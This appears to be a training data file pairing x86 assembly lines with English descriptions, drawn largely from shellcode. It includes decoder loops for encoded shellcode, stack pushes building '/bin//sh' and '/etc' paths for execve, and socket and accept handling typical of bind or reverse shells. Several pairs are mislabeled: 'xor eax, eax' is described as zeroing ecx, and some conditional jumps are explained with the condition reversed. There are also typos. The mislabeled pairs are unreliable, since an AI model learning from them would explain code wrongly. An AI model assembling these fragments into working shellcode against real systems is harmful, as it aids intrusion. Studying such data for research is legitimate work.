| sub ax, 1564 subtract 1564 from ax and save the result into ax
|
| sub ax, 1564 subtract 1564 from the contents of ax register and save the result in ax
|
| sub ax, 1564 subtract 1564 from the contents of the ax register
|
| sub ax, 1662 subtract 1662 from ax and save the result into ax
|
| sub ax, 1662 subtract 1662 from the contents of ax register and save the result in ax
|
| sub ax, 1662 subtract the contents of the ax register by 1662
|
| sub ax, ax subtract the contents of ax from the contents of ax
|
| sub bl, 0x7 subtract 0x7 to bl
|
| sub bl, 0x7 subtract 0x7 from bl and save the result into bl
|
| sub bl, 0x7 subtract 0x7 from the contents in bl and save the result in bl
|
| sub bl, 3 subtract 3 from the contents of the bl register
|
| sub bl, 3 \n jnz stage subtract the value 3 from the contents of the bl register and jump to the stage label if the result is not zero
|
| sub bl, 4 \n jns l2 subtract the value 4 from the contents of the bl register and jump to the l2 label if the result is not negative
|
| sub bl, 48 subtract the decimal value 48 from the nl register
|
| sub bl, al subtract the contents of al register from the contents of bl register and save the result in bl
|
| sub bl, al subtract the contents of al from the bl register
|
| sub bl, byte [esi] subtract 0x7 from the byte in esi register
|
| sub bl, byte [esi] subtract the current byte of the shellcode from bl
|
| sub bl, cl \n jnz l2 subtract the contents of the cl register from the contents of the al register and jump to the l2 label if the result is not zero
|
| sub bl,3 \n jnz stage subtract 3 from bl register and go to _stage label if flag zero is not set
|
| sub bl,byte [esi] subtract the byte in esi from the bl register
|
| sub bx, 1634 subtract 1634 from bx and save the result into bx
|
| sub bx, 1634 subtract 1634 from the contents of bx register and save the result in bx
|
| sub bx, 1634 subtract 1634 from the contents of the bx register
|
| sub bx, 1663 subtract 1663 from bx and save the result into bx
|
| sub bx, 1663 subtract 1663 from the contents of the bx register
|
| sub bx, 1663 subtract the contents of bx register by 1663 and save the result in bx
|
| sub bx, bx subtract the contents of bx from the contents of bx
|
| sub bx, dx subtract dx = 13 to bx = 256
|
| sub bx, dx subtract the contents of the dx register from the contents of the bx register
|
| sub byte [buff],20h subtract 20h from the 8-bit at memory location buff
|
| sub byte [ebp+ecx],20h subtract 20h from the 8-bit at memory location ebp+ecx
|
| sub byte [edi], 0x4 \n not byte [edi] subtract 0x4 from the byte at the address edi and negate the result
|
| sub byte [edi], 7 \n not byte [edi] negate the byte at the address edi after subtracting the value 7
|
| sub byte [edi], 8 \n not byte [edi] subtract the value 8 from the byte in edi and negate it
|
| sub byte [esi], 0x1 \n not byte [esi] subtract 0x1 from the current byte of the shellcode and negate the result
|
| sub byte [esi], 0x1 \n not byte [esi] subtract 0x1 from the byte at the address esi and negate the result
|
| sub byte [esi], 0x9 \n not byte [esi] subtract the value 0x9 from the current byte of the shellcode and then negate the result
|
| sub byte [esi], 0xd subtract 13 to esi content
|
| sub byte [esi], 0xd subtract 0xd from the byte at the address esi
|
| sub byte [esi], 13 undo rot13
|
| sub byte [esi], 13 subtract 13 from the byte at the address esi
|
| sub byte [esi], 13 subtract 13 from the byte in esi and save the result in esi
|
| sub byte [esi], 2 \n not byte [esi] negate the byte at the address esi after subtracting the value 2
|
| sub byte [esi], 3 \n not byte [esi] subtract the value 3 from the byte in esi and negate it
|
| sub byte [esi], 8 subtract the decimal value 8 from the byte esi in memory
|
| sub byte [esi], 8 \n not byte [esi] subtract 8 from the byte in esi and then negate the result
|
| sub cl, 1 dec count by 1
|
| sub cl, 1 subtract 1 from the contents of the cl register
|
| sub cl, 1 \n jnz decode subtract the value 1 from the contents of the cl register and jump to the decode label if the result is not zero
|
| sub cl, bl \n jns l3 subtract the contents of the bl register from the contents of the cl register and jump to the l3 label if the result is not negative
|
| sub cl, dl subtract the contents of dl register from the contents of cl register and save the result in cl
|
| sub cl, dl subtract the contents of dl from the cl register
|
| sub cx, 0x7ff subtract 0x7ff from the contents in cx and save the result in cx
|
| sub cx, 0x7ff subtract 0x7ff from the contents of cx register value and save the result in cx
|
| sub cx, cx subtract the contents of cx from the contents of cx
|
| sub dl, 5 \n jns l4 subtract the value 5 from the contents of the dl register and jump to the l4 label if the result is not negative
|
| sub dl, al subtract the contents of al register from the contents of dl register and save the result in dl
|
| sub dl, al \n jns decode_pr subtract the contents of the al register from the contents of the dl register and jump to the decode_pr label if the result is not negative
|
| sub dl, al \n jns decode_pr subtract al from dl and jump to decode_pr if the sign flag is zero
|
| sub dl, byte [esi] subtract shellcode byte value to dl = 13
|
| sub dl, byte [esi] subtract the byte at the address esi from the contents of the dl register
|
| sub dx, 15444 subtract 15444 from dx and save the result into dx
|
| sub dx, 15444 subtract 15444 from the contents of the dx register
|
| sub dx, bx subtract the contents of bx from the contents of dx
|
| sub dx, bx subtract bx from dx
|
| sub eax, [esp] subtract the value of the memory at address esp from eax and store into eax
|
| sub eax, 0x013ffeff subtract 0x013ffeff from the contents in eax and save the result in eax
|
| sub eax, 0x013ffeff \n push eax push Ô in/cÕ on stack
|
| sub eax, 0x04feca01 subtract 0x04feca01 from the contents in eax and save the result in eax
|
| sub eax, 0x04feca01 \n inc eax \n push eax push Ô/etcÕ on stack
|
| sub eax, 0x0efc3532 subtract 0x0efc3532 from the contents in eax and save the result in eax
|
| sub eax, 0x0efc3532 \n push eax push Ô//shÕ on stack
|
| sub eax, 0x10 subtract 0x10 from eax
|
| sub eax, 0x2c3d2dff subtract 0x2c3d2dff from the contents in eax and save the result in eax
|
| sub eax, 0x2c3d2dff \n push eax push 0777 on stack
|
| sub eax, 0x3217d6d2 subtract 0x3217d6d2 from the contents in eax and save the result in eax
|
| sub eax, 0x3217d6d2 \n add eax, 0x31179798 \n push eax push Ô///bÕ on stack
|
| sub eax, 0x3bd04ede subtract 0x3bd04ede from the contents in eax and save the result in eax
|
| sub eax, 0x70445eaf subtract 0x70445eaf from the contents in eax and save the result in eax
|
| sub eax, 216 subtract 216 from the value stored in eax
|
| sub eax, 3 decrease eax by 3
|
| sub eax, 3e716230 subtract 3e716230 from the contents of the eax register
|
| sub eax, 5d455523 subtract 5d455523 from the contents of the eax register
|
| sub eax, 5e5d7722 subtract 5e5d7722 from the contents of the eax register
|
| sub eax, 8 subtract 8 from the contents of eax register and save the result in eax
|
| sub eax, 8 subtract 8 from the contents of the eax register
|
| sub eax, eax zero out eax
|
| sub eax, eax subtract the contents of eax from the contents of eax
|
| sub eax, ebx subtract ebx from eax
|
| sub eax, ebx subtract the address in ebx from the address in eax
|
| sub eax,20000h subtract 20000h from eax register
|
| sub ebx, 0x2e2aa163 subtract 0x2e2aa163 from ebx and save the result into ebx
|
| sub ebx, 0x2e2aa163 subtract 0x2e2aa163 from the contents in ebx and save the result in ebx
|
| sub ebx, 0x2e2aa163 \n push ebx subtract the hexadecimal value 0x2e2aa163 to ebx content, then push it on stack
|
| sub ebx, 2 decrease ebx by 2
|
| sub ebx, byte 3 subtract the byte 3 from the contents of the ebx register
|
| sub ebx, byte 3 subtract the byte value 3 from the contents of ebx and save the result in ebx
|
| sub ebx, byte 8 subtract the byte 8 from the contents of the ebx register
|
| sub ebx, byte 8 subtract the byte value 8 from the contents of ebx and save the result in ebx
|
| sub ebx,ebx \n xor ecx,ecx zero out ebx and ecx content
|
| sub ecx, 0x03030303 subtract 3.3.3.3 from ip address
|
| sub ecx, 0x04baca01 subtract 0x04baca01 from the contents in ecx and save the result in ecx
|
| sub ecx, 0x04baca01 \n inc ecx \n push ecx push Ô/etcÕ on stack
|
| sub ecx, 0x0b454440 subtract 0x0b454440 from the contents in ecx and save the result in ecx
|
| sub ecx, 0x0b454440 \n push ecx push Ô///hÕ on stack
|
| sub ecx, 0x1525152a subtract 0x1525152a from the contents in ecx and save the result in ecx
|
| sub ecx, 0x6374612e subtract hexadecimal value 0x6374612e to ecx content
|
| sub ecx, 0x6374612e subtract 0x6374612e from the contents in ecx and save the result in ecx
|
| sub ecx, 1 decrease ecx by 1
|
| sub ecx, 23 move addr ptr back
|
| sub ecx, 23 subtract 23 from the contents of the ecx register
|
| sub ecx, ecx zero out ecx
|
| sub ecx, ecx zero out the counter ecx register
|
| sub ecx, ecx subtract the contents of the ecx register from the contents of the ecx register
|
| sub ecx, ecx subtract the contents of ecx from the contents of ecx
|
| sub ecx, ecx subtract ecx from ecx and save the result into ecx
|
| sub ecx,ecx clear ecx
|
| sub ecx,ecx \n push ecx zero out ecx register and push its content on stack
|
| sub ecx,ecx \n push ecx clear ecx and push ints content on stack
|
| sub edi, 0x44444444 subtract the hexadecimal value 0x44444444 from edi content
|
| sub edi, 0x44444444 subtract 0x44444444 from edi and save the result in edi
|
| sub edi, 0xffffffdf subtract 0xffffffdf from edi
|
| sub edi, 1768009314 subtract 1768009314 from the contents of the edi register
|
| sub edi, 1768009314 subtract 1768009314 from the edi register and save the result in edi
|
| sub edi,0x11111111 subtract hexadecimal value 0x11111111 to edi content
|
| sub edx, 4 decrease edx by 4
|
| sub edx, edx clear edx
|
| sub edx, edx subtract the contents of the edx register from the contents of the edx register
|
| sub edx, edx \n push edx zero out edx and push it on stack
|
| sub esp, 0x24 subtract 0x24 from the contents in esp and save the result in esp
|
| sub esp, 0x28 subtract the value 0x28 from the esp register
|
| sub esp, 0x7f subtract 0x7f from the stack
|
| sub esp, 0x7f subtract 0x7f from esp
|
| sub esp, 12 subtract 12 from esp register and save the result in esp
|
| sub esp, 12 subtract 12 from the contents of the esp register
|
| sub esp, 4 subtract 4 from the esp content
|
| sub esp, 4 allocate memory for variable
|
| sub esp, 4 make room for one 4-byte local variable
|
| sub esp, 4 make room on the stack for local variable
|
| sub esp, 4 allocate memory for local variables
|
| sub esp, 4 subtract the value 4 from the esp register and save the result in esp
|
| sub esp, 4 allocate space on the stack for local variable
|
| sub esp, 4 make space on stack
|
| sub esp, 4 allocate memory for a variable
|
| sub esp, 8 subtract 8 value to esp content
|
| sub esp, 8 subtract 8 from esp and save the result in esp
|
| sub esp, byte 0x1 subtract the byte 0x1 from the contents of the esp register
|
| sub esp, byte 0x1 subtract the byte value 0x1 from esp register and save the result in esp
|
| sub esp,0x4 \n sub esp,0x4 esp points to the top of the stack
|
| switch: declare _switch label
|
| switch: define the switch function
|
| sys_execve equ 0x0b define sys_execve equal to 0x0b
|
| syscall make the syscall
|
| syscall_execve equ 11 define syscall_execve = 11
|
| syscall_execve equ 11 define syscall_execve equal to 11
|
| test al, al test the value of the al register
|
| test al, al \n jz found \n inc ecx jump to the label found if the contents of the al register is zero else increment the contents of the ecx register
|
| test al, al \n jz found \n inc ecx if the contents of the al register is zero then jump to the label found else increment the contents of the ecx register
|
| test ax, ax perform a bitwise and of the contents of ax and the contents of ax
|
| test ax, ax \n jnz exeunt \n jmp carryon jump to the label exeunt if the contents of the ax register is not zero else jump to the label carryon
|
| test ax, ax \n jnz exeunt \n jmp carryon if the contents of the ax register is not zero then jump to the label exeunt else jump to the label carryon
|
| test bl, bl \n jz not_found jump to the label not_found if the contents of the bl register is not zero
|
| test bl, bl \n jz not_found if the contents of the bl register is not zero then jump to the label not_found
|
| test cl, cl test the value of cl
|
| test dl, 0x1 \n jnz ready_to_proxy jump to the label ready_to_proxy if the contents of the dl register is not zero
|
| test dl, 0x1 \n jnz ready_to_proxy if the contents of the dl register is not zero then jump to the label ready_to_proxy
|
| test eax, eax check if eax is zero
|
| test eax, eax perform a bitwise and on the contents of the eax register
|
| test eax, eax test the value of eax
|
| test eax, eax \n jnz _convert jump to the label _convert if the contents of the eax register is not zero
|
| test eax, eax \n jnz _convert if the contents of the eax register is not zero then jump to the label _convert
|
| test eax, eax \n jnz _parent \n pop ecx jump to the label _parent if the contents of the eax register is not zero else restore the top of the stack into the ecx register
|
| test eax, eax \n jnz _parent \n pop ecx if the contents of the eax register is not zero then jump to the label _parent else restore the top of the stack into the ecx register
|
| test eax, eax \n jnz _recv_http_request \n sub ecx, 0x6 jump to the label _recv_http_request if the contents of the eax register is not zero else subtract the value 0x6 from the contents of the ecx register
|
| test eax, eax \n jnz _recv_http_request \n sub ecx, 0x6 if the contents of the eax register is not zero then jump to the label _recv_http_request else subtract the value 0x6 from the contents of the ecx register
|
| test eax, eax \n jnz checkforfile jump to the label checkforfile if the contents of the eax register is not zero
|
| test eax, eax \n jnz checkforfile if the contents of the eax register is not zero then jump to the label checkforfile
|
| test eax, eax \n jnz do_next_accept jump to the label do_next_accept if the contents of the eax register is not zero
|
| test eax, eax \n jnz do_next_accept if the contents of the eax register is not zero then jump to the label do_next_accept
|
| test eax, eax \n jnz exit_on_error jump to the label exit_on_error if the contents of the eax register is not zero
|
| test eax, eax \n jnz exit_on_error if the contents of the eax register is not zero then jump to the label exit_on_error
|
| test eax, eax \n jnz l1 jump to the label l1 if the contents of the eax register is not zero
|
| test eax, eax \n jnz l1 if the contents of the eax register is not zero then jump to the label l1
|
| test eax, eax \n jnz l1 \n call myfunct jump to the label l1 if the contents of the eax register is not zero else call the function myfunct
|
| test eax, eax \n jnz l1 \n call myfunct if the contents of the eax register is not zero then jump to the label l1 else call the function myfunct
|
| test eax, eax \n jnz l4 \n call search jump to the label l4 if the contents of the eax register is not zero else call the function search
|
| test eax, eax \n jnz l4 \n call search if the contents of the eax register is not zero then jump to the label l4 else call the function search
|
| test eax, eax \n jnz short _parent jump short to the label _parent if the contents of the eax register is not zero
|
| test eax, eax \n jnz short _parent if the contents of the eax register is not zero then jump short to the label _parent
|
| test eax, eax \n js _while_loop jump to the label _while_loop if the contents of the eax register is negative
|
| test eax, eax \n js _while_loop if the contents of the eax register is negative then jump to the label _while_loop
|
| test eax, eax \n js close jump to the label close if the contents of the eax register is negative
|
| test eax, eax \n js close if the contents of the eax register is negative then jump to the label close
|
| test eax, eax \n js old_dirent jump to the label old_dirent if the contents of the eax register is negative
|
| test eax, eax \n js old_dirent if the contents of the eax register is negative then jump to the label old_dirent
|
| test eax, eax \n js short socket jump short to the label socket if the contents of the eax register is negative
|
| test eax, eax \n js short socket if the contents of the eax register is negative then jump short to the label socket
|
| test eax, eax \n jz check_html jump to the label check_html if the contents of the eax register is zero
|
| test eax, eax \n jz check_html if the contents of the eax register is zero then jump to the label check_html
|
| test eax, eax \n jz check_html \n jmp while jump to the label check_html if the contents of the eax register is zero else jump to the while label
|
| test eax, eax \n jz check_html \n jmp while if the contents of the eax register is zero then jump to the label check_html else jump to the while label
|
| test eax, eax \n jz close jump to the label close if the contents of the eax register is zero
|
| test eax, eax \n jz close if the contents of the eax register is zero then jump to the label close
|
| test eax, eax \n jz close \n mov ebx, edx jump to the label close if the contents of the eax register is zero else move the contents of the edx register into the ebx register
|
| test eax, eax \n jz close \n mov ebx, edx if the contents of the eax register is zero then jump to the label close else move the contents of the edx register into the ebx register
|
| test eax, eax \n jz proc_name jump to the label proc_name if the contents of the eax register is zero
|
| test eax, eax \n jz proc_name if the contents of the eax register is zero then jump to the label proc_name
|
| test eax, eax \n jz ready_to_proxy jump to the label ready_to_proxy if the contents of the eax register is zero
|
| test eax, eax \n jz ready_to_proxy if the contents of the eax register is zero then jump to the label ready_to_proxy
|
| test eax, eax \n jz short loc_402B13 jump short to the memory location loc_402B13 if the contents of the eax register is zero
|
| test eax, eax \n jz short loc_402B13 if the contents of the eax register is zero then jump short to the memory location loc_402B13
|
| test eax, eax \n jz short loc_402C13 jump short to the memory location loc_402C13 if the contents of the eax register is zero
|
| test eax, eax \n jz short loc_402C13 if the contents of the eax register is zero then jump short to the memory location loc_402C13
|
| test eax, eax \n jz socket jump to the label socket if the contents of the eax register is zero
|
| test eax, eax \n jz socket if the contents of the eax register is zero then jump to the label socket
|
| test eax, eax \n jz socket \n xor eax, eax jump to the label socket if the contents of the eax register is zero else zero out the contents of the eax register
|
| test eax, eax \n jz socket \n xor eax, eax if the contents of the eax register is zero then jump to the label socket else zero out the contents of the eax register
|
| test eax, eax \n jz write \n xor eax, eax jump to the label write if the contents of the eax register is zero, else zero out the contents of the eax register
|
| test eax, eax \n jz write \n xor eax, eax if the contents of the eax register is zero then jump to the label write else zero out the contents of the eax register
|
| test ebx, ebx test the contents of the ebx register
|
| test ebx, ebx \n js short l1 jump short to the label l1 if the contents of the ebx register is negative
|
| test ecx, ecx test the contents of the ecx register
|
| test edx, edx test the contents of the edx register
|
| test esi, 01h \n je even_number jump to even_number is the contents in esi is even
|
| test si, 01h perform and operation between si and 01h
|
| test si, 01h \n je even_number perform si & 01h discarding the result but set the zero flag to 1 if the least significant but of si is 0, even set the zero flag to 0 if the and operation between the leas singificant bit of si and 01h is zero, while set the zero flag = 1 if the and operation result is 1. if the si == 0 go to even_number label ese go to odd_number label
|
| three: define _three label
|
| three: declare the three label
|
| todo: declare todo_label
|
| todo: declare the todo label
|
| total_students equ 50 define constant total_students equal to 50
|
| two: define two_label
|
| two: define _two label
|
| two: define two label
|
| two: declare the two label
|
| up: declare the up label
|
| var db 32 declare var byte variable and initialize it to 32
|
| var db 64 declare a byte containing the value 64 at label the memory location var
|
| var_a db 232 allocate one byte of memory for var_a variable and initialize it to 232
|
| var_a: dd 0x0 create the doubleword variable var_a in memory and initialize it to zero
|
| var_b db 'c' allocate one byte of memory for var_b variable and initialize it to 'c'
|
| var2 db ? declare an uninitialized byte labeled var2
|
| var2 db ? declare an uninitialized byte referred to as location var2
|
| variablename1: resb 1 reserve 1 byte for variableName1
|
| variablename2: resw 1 reserve 1 word for variableName2
|
| variablename3: resd 1 reserve 1 double word for variableName3
|
| word_table dw 134, 345, 564, 123 declare the array of words word_table initialized to 134 345 564 and 123
|
| word_value dw 300 define the word value word_value and initialize it to 300
|
| word1 word 65535 define word1 unsigned word and initialize it to 65535
|
| word2 sword Ð32768 define word2 signed word and initialize it to -32768
|
| word3 word ? define word3 uninitialized unsigned word
|
| wordvar: resw 1 reserve a word for wordvar
|
| wrap_around: define _wrap_around label
|
| wrap_around: declare the wrap_around label
|
| write_syscall equ 4 define weite_syscall =4
|
| write_syscall equ 4 define write_syscall equal to 4
|
| write: delcare _write label
|
| write: define write_label
|
| write: define write label
|
| write: declare the write label
|
| writestring: define _writestring label
|
| writestring: define writestring function
|
| writestring: declare the writestring label
|
| x dw ? declare a word uninitialized value referred to as location x
|
| x dw ? declare an uninitialized word labeled x
|
| xchg [ebp+16], ecx swap the address [ebp+16] with the contents of the ecx register
|
| xchg [ebp+16], ecx swap the contents in ebp+16 and ecx
|
| xchg byte [esi+1], al swap al value with next byte value (esi+1)
|
| xchg eax, ebx exchange ebx with eax content
|
| xchg eax, ebx put socket descriptor in ebx and 0x5 in eax
|
| xchg eax, ebx exchange ebx with eax contents
|
| xchg eax, ebx exchange eax with ebx contents
|
| xchg eax, ebx swap the contents of eax and ebx
|
| xchg eax, ebx swap the contents of the eax register with the contents of the ebx register
|
| xchg eax, ebx exchange eax with ebx
|
| xchg eax, ecx exchange ecx with eax content
|
| xchg eax, ecx swap the contents of the eax register with the contents of the ecx register
|
| xchg eax, edx exchange edx with eax contents
|
| xchg eax, edx swap the contents of the eax register with the contents of the edx register
|
| xchg eax, esi save sockfd
|
| xchg eax, esi swap the contents of eax and esi
|
| xchg eax, esi swap the contents of the eax register with the contents of the esi register
|
| xchg eax, esi \n int 0x80 execute close syscall
|
| xchg ebx, eax save the socket descriptor stored in eax in ebx
|
| xchg ebx, eax move the return value of socket from eax to ebx ready for the next syscalls
|
| xchg ebx, eax exchange the content of eax with ebx so now ebx holds the new sockfd that was accepted
|
| xchg ebx, eax exchange ebx with eax contents
|
| xchg ebx, eax save fd in ebx
|
| xchg ebx, eax transfer the descriptor for the accepted socket from eax into ebx
|
| xchg ebx, eax store sockfd from eax in ebx
|
| xchg ebx, eax swap the contents of the ebx register with the contents of the eax register
|
| xchg ebx, eax swap the values of ebx and eax
|
| xchg ebx, eax swap the values of ebx and eax registers
|
| xchg ebx, eax exchange the contents of the ebx register with the contents of the eax register
|
| xchg ebx, ebx execute no operation
|
| xchg ebx, ecx exchange ebx with ecx
|
| xchg ebx, edx exchange ebx with edx content
|
| xchg ebx, edx set ebx=2 and edx=sockfd
|
| xchg ebx, edx swap the contents of the ebx register with the contents of the edx register
|
| xchg ebx, esp swap the contents of the ebx register with the contents of the esp register
|
| xchg ebx, esp swap the values of ebx and esp registers
|
| xchg ebx,eax exchange eax content with ebx content
|
| xchg ebx,eax save client_sockfd exchanging eax content with ebx content
|
| xchg ebx,eax save clientfd from eax to ebx
|
| xchg ebx,eax exchange eax content with ebx content (save clientfd from eax to ebx)
|
| xchg ebx,eax exchange eax contet with ebx content
|
| xchg ebx,esp exchange esp content with ebx content
|
| xchg ebx,esp save stack pointer to ebx
|
| xchg ecx, edx exchange edx with ecx content
|
| xchg ecx, edx exchange ecx with edx
|
| xchg ecx, edx swap the contents of the ecx register with the contents of the edx register
|
| xchg ecx,eax exchange eax content with ecx content
|
| xchg ecx,edx exchange edx contents with ecx contents
|
| xchg edi, eax transfer file descriptor to edi
|
| xchg edi, eax swap the contents of the edi register with the contents of the eax register
|
| xchg edi, eax swap the values of edi and eax registers
|
| xchg edi,eax exchange eax content with edi content
|
| xchg edi,eax save the socket descriptor stored in eax in edi
|
| xchg edx, eax swap the values of edx and eax registers
|
| xchg edx, eax exchange edx with eax
|
| xchg edx, ebx swap the values of edx and ebx registers
|
| xchg edx,eax exchange eax with edx content
|
| xchg edx,eax exchange eax and edx content
|
| xchg edx,eax execute no operation
|
| xchg esi, eax save the socket descriptor stored in eax in esi
|
| xchg esi, eax load the socket file desriptor from eax into esi register
|
| xchg esi, eax save sock result from eax into esi
|
| xchg esi, eax saving sockfd
|
| xchg esi, eax swap the contents of the esi register with the contents of the eax register
|
| xchg esi, eax swap the values of esi and eax
|
| xchg esi, eax \n int 0x80 execute exit syscall
|
| xchg esi, ebx swap the values of esi and ebx
|
| xchg esi,eax save the socket descriptor stored in eax in esi
|
| xchg esi,eax load host_sockfd stored in eax to esi
|
| xchg esi,eax \n xor eax,eax load the sockfd sotred in eax to esi register and then clean eax register
|
| xchg esp, esi swap the values of esp and esi registers
|
| xchg esp,eax exchange eax and esp content
|
| xchg si, bx swap the values si ebx and bx registers
|
| xor [ebx], word __flag_byte perform xor operation between ebx register and the word __flag_byte and save the result in ebx
|
| xor [ecx + 116], bh perform xor operation between the value stored at the location ecx+116 and bh
|
| xor [ecx + 116], bh perform a logical xor between the address specified by [ecx + 116] and the bh register and save the result in [ecx + 116]
|
| xor [ecx + 116], dh perform xor operation between the value stored at the location ecx+116 and dh
|
| xor [ecx + 116], dh perform a logical xor between the address specified by [ecx + 116] and the dh register and save the result in [ecx + 116]
|
| xor [ecx], bh perform the xor operation between the value stored at the location ecx and bh
|
| xor [ecx], dh perform the xor operation between the value stored at the location ecx and dh
|
| xor ah, ah zero out ah register
|
| xor ah, ah clear the ah register
|
| xor al, 0e9h xoring al content with 0xe9
|
| xor al, 0e9h perform a logical xor between the al register and 0e9h and save the result in al
|
| xor al, 0x30 run xor operation between the value 48 and al register contents
|
| xor al, 0x30 run xor operation between al regsiter and the hexadeciaml value 0x30
|
| xor al, 0x30 perform the xor operation between the al register and the value 0x30
|
| xor al, 0x41 perform the xor operation between the al register and the value 0x41
|
| xor al, 0x4a perform the xor operation between the al register and the value 0x4a
|
| xor al, 0x4a \n xor al, 0x41 run xor operation between al regsiter and the hexadecimal values 0x4a and 0x41
|
| xor al, bl xoring al register with bl register
|
| xor al, bl \n jz short shellcode perform xor between al and bl and jump short to shellcode if the result is zero
|
| xor al,0x12 xoring hexadecimal value 0x12 with al register
|
| xor ax, 0x3041 perform the xor operation between the ax register and the value 0x3041
|
| xor ax, 0x4f73 perform the xor operation between the ax register and the value 0x4f73
|
| xor ax, 0x4f73 \n xor ax, 0x3041 run xor operation between ax register and 20339 value then between the same register and 12353 value
|
| xor ax, 0x539 xor encoded_shellcode with 1337, one word at a time
|
| xor ax, 0x539 perform a xor operation between ax and 0x539 and save the result in ax
|
| xor ax, 0x539 perform xor between ax and 0x539 and store the result in ax
|
| xor ax, 0x539 \n jz decoded_shellcode jump to the decoded_shellcode label if the result of the logical xor between the ax register and the value 0x539 is zero
|
| xor ax, 0x7777 run xor operation between ax regsiter and the hexadeciaml value 0x7777
|
| xor ax, 0x7777 perform the xor operation between the contents of the ax register and the value 0x7777
|
| xor ax, ax clear the ax register
|
| xor ax, ax zero out ax register
|
| xor ax, bx perform a logical xor between the bx register and the ax register and save the result in ax
|
| xor ax, bx perform xor between ax and bx
|
| xor ax, bx \n jz call_decoded xoring bx and ax register and if the result is 0 go to call_decoder
|
| xor ax, bx \n jz call_decoded jump to the call_decoded label if the result of the logical xor between the ax register and the bx register is zero
|
| xor ax, bx \n jz call_decoded perform xor between ax and bx and jump to call decoded if the result is zero
|
| xor bh, byte [esi + edx] perform the xor between bh and the byte in esi+edx
|
| xor bl, 0xaa \n jne encodedshellcode perform xor between bl and 0xaa and jump to encodedshellcode if the result is not zero
|
| xor bl, 0xbb perform a logical xor between the bl register and 0xbb and save the result in bl
|
| xor bl, 0xbb zero out bl register
|
| xor bl, 0xBB \n jz encoded jump to the encoded label if the result of the logical xor between the bl register and the value 0xBB is zero
|
| xor bl, 0xbb \n jz encoded perform xor between bl and 0xbb and jump to encoded if the result is zero
|
| xor bl, 0xBB \n jz formatting jump to the formatting label if the result of the logical xor between the bl register and the value 0xBB is zero
|
| xor bl, 0xbb \n jz formatting \n mov cl, byte [esi] perform the xor between bl and 0xbb and jump to formatting if it is zero else move the byte of the shellcode in cl
|
| xor bl, byte [esi + edx] perform the xor between bl and the byte in esi+edx
|
| xor bl, dl \n jz short shellcode perform xor between bl and dl and jump short to shellcode if the result is not zero
|
| xor bl,0x90 xoring bl with hexadeimal value 0x90
|
| xor bl,0xaa xoring hexadecimal value 0xaa wih bl register
|
| xor bx, bx initialize bx to 0
|
| xor bx, bx clear the bx register
|
| xor bx,bx zero out bx register
|
| xor byte [edi], 0xdd xoring the 0xdd value that represent the xor operation with the contents of the memory adddress edi
|
| xor byte [esi + ecx - 1], 0x3 xoring 0x3 with esi +ecx-1 content
|
| xor byte [esi + ecx - 1], 0x3 perform a logical xor between the byte at the address specified by [esi + ecx - 1] and the bh register and save the result in [esi + ecx - 1]
|
| xor byte [esi], 0x2c run a xor operation between 0x2c and the first character pointed from esi
|
| xor byte [esi], 0x2c perform the xor operation between the byte starting at the addess in esi and the value 0x2c
|
| xor byte [esi], 0x88 xor between the current byte in esi and 0x88
|
| xor byte [esi], 0x97 xor between current byte in esi and 0x97
|
| xor byte [esi], cl xoring cl content with the byte contained into esi register
|
| xor byte [esi], cl perform a logical xor between the byte at the address specified by [esi] and the cl register and save the result in [esi]
|
| xor byte [esi], cl perform a xor operation between a byte in esi and cl
|
| xor byte [esi], dl perform the xor between the current byte of the shellcode and the dl register
|
| xor byte [esi], dl perform the xor between the byte in esi and dl
|
| xor byte [esi], dl perform the xor between the current byte in esi and dl
|
| xor byte [esi+1], dl perform the xor between the next byte of the shellcode and the dl register
|
| xor byte [esi+ecx],0x0f perform the xor operation between the byte at memory location esi+ecx and 0x0f
|
| xor byte ptr [edi],al xoring al register with the byte contained into the space memory at the adress edi
|
| xor byte ptr [esi],0xaa xoring hexadecimal value 0xaa with the byste at the adress esi
|
| xor ch, byte [esi + edx] perform the xor between ch and the byte in esi+edx
|
| xor cl, 0x32 perform the xor operation between cl and 0x32 and store the resut in cl
|
| xor cl, 0x32 \n je short encodedshellcode perform xor between cl and 0x32 and jump short to encodedshellcode is the result is zero
|
| xor cl, 0x32 \n jz short EncodedShellcode jump short to the EncodedShellcode label if the result of the logical xor between the cl register and the value 0x32 is zero
|
| xor cl, 0xaa perform a logical xor between the cl register and 0xaa and save the result in cl
|
| xor cl, 0xaa perform the xor operation between cl and 0xaa and store the result in cl
|
| xor cl, 0xAA \n jnz Next_Cycle jump to the Next_Cycle label if the result of the logical xor between the cl register and the value 0xAA is not zero
|
| xor cl, 0xaa \n jnz next_cycle perform xor between cl and 0xaa and jump to next_cycle if the result is not zero
|
| xor cl, 0XAA \n jz shift_decode jump to the shift_decode label if the result of the logical xor between the cl register and the value 0xAA is zero
|
| xor cl, 0xaa \n jz shift_decode perform xor between cl and 0xaa and jump to shift decode if the result is zero
|
| xor cl, byte [esi + edx] perform the xor between cl and the byte in esi+edx
|
| xor dl, 0xbb perform a logical xor between the dl register and 0xbb and save the result in dl
|
| xor dl, 0xbb perform the xor operation between dl and 0xbb and store the result in dl
|
| xor dl, 0xBB \n jz Next_Cycle jump to the Next_Cycle label if the result of the logical xor between the dl register and the value 0xBB is zero
|
| xor dl, 0xbb \n jz next_cycle perform xor between dl and 0xbb and jump to next_cycle if the result is zero
|
| xor eax, [edi] perform the xor operation between eax register and edi register and store the result in eax
|
| xor eax, [esi] perform xor operation between eax register and esi register and store the result in eax
|
| xor eax, 0x58494741 perform the xor operation between eax and 0x58494741 value and store the result in eax
|
| xor eax, 0x58494741 perform a logical xor between the eax register and 0x58494741 and save the result in eax
|
| xor eax, 0x6e696230 run xor operation between ax regsiter and the hexadeciaml value 0x6e696230
|
| xor eax, 0x6e696230 perform the xor operation between the eax register and the value 0x6e696230
|
| xor eax, 0x7575 perform a logical xor operation between eax and 0x7575
|
| xor eax, 0xffffffff xoring hexadecimal value 0xffffffff with eax register
|
| xor eax, 0xffffffff perform a logical xor between the eax register and 0xffffffff and save the result in eax
|
| xor eax, ea \n push eax zero out eax register and push its contents on the stack
|
| xor eax, eax zero out ecx register
|
| xor eax, eax clear eax
|
| xor eax, eax zero out eax
|
| xor eax, eax reseting eax register
|
| xor eax, eax zero out eax register
|
| xor eax, eax zero-ing eax
|
| xor eax, eax clear eax register
|
| xor eax, eax 0's our eax
|
| xor eax, eax 0's out eax
|
| xor eax, eax initialize eax with decimal value 0
|
| xor eax, eax perform xor operation between eax and eax
|
| xor eax, eax reset both lower and uppper bytes of eax to be 0
|
| xor eax, eax reset eax
|
| xor eax, eax set the eax register to null
|
| xor eax, eax zero out the eax register
|
